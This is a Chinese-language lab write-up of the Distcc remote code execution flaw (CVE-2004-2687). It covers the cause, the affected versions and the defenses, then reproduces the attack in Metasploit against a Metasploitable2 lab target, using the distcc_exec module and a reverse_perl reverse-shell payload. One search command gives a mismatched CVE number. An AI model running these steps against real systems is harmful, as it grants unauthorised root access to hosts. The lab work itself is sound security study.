一、漏洞介绍

基本信息

属性

内容

漏洞名称

Distcc 后门漏洞 / Distcc RCE

CVE编号

CVE-2004-2687

CVSS评分

约 7.5-9.0(高危)

漏洞类型

远程代码执行(RCE)

影响组件

Distcc 分布式编译工具

默认端口

3632/TCP

distcc是一个分布式的c编译器,可以把一个大型的项目的编译任务(比如linux内核)分割到一个服务器集群,让多个服务器同时编译

核心问题

配置不严格 + 无身份验证

缺陷点

说明

默认无访问控制

早期版本允许任意IP连接3632端口

命令注入

客户端发送的编译命令直接传递给服务器执行

高权限运行

distccd服务通常以root权限运行

无输入过滤

未对编译参数进行安全校验

攻击流程

攻击者 ──→ 连接目标:3632 ──→ 发送恶意编译命令 ──→ 服务器执行任意系统命令

一句话类比:"请了几个临时工(Distcc服务器)帮忙搬砖(编译代码),但没查身份证(无认证),坏人混进去说'先别搬砖,去把保险箱搬来'(执行恶意命令),临时工就照做了。"

影响版本

软件

受影响版本

Distcc

2.x 系列(2.1, 2.2等)

Xcode

1.5(苹果开发工具,内置Distcc)

防御措施

层级

措施

网络层

防火墙限制3632端口访问,仅允许可信IP

配置层

/etc/distcc/hosts 配置允许列表

服务层

使用 --listen 绑定特定接口,不暴露公网

权限层

以非root用户运行distccd服务

根治

升级到distcc3.0+版本

二、msf复现

1.准备工作

攻击机:192.168.68.128(kalilinux)

目标靶机:192.168.68.135(metasploitable2-linux)

2.msf复现

打开kali终端

1.启动msf msfconsole

2.search

search cve-2004-2678

3.使用漏洞模块

use exploit/unix/misc/distcc_exec 

4.查看需要配置什么参数

show options
CVE-2004-2687-1.png

这个漏洞的配置还是比较简单,我们只需要配置RHOSTS和RPORT,这里端口靶机也是3632(使用nmap对靶机扫描)

5.配置参数

set RHOSTS 192.168.68.135
set RPORT 3632
set payload cmd/unix/reverse_perl

tips:对于目标靶机而言无法使用默认的payload,可能是目标靶机的默认shell不是bash,是/bin/sh或者其他更轻量的shell,所以换成了兼容性更好的payload,确保可以顺利执行

6.运行

执行 run,可以看到成功进入了目标靶机的终端

CVE-2004-2687-2.png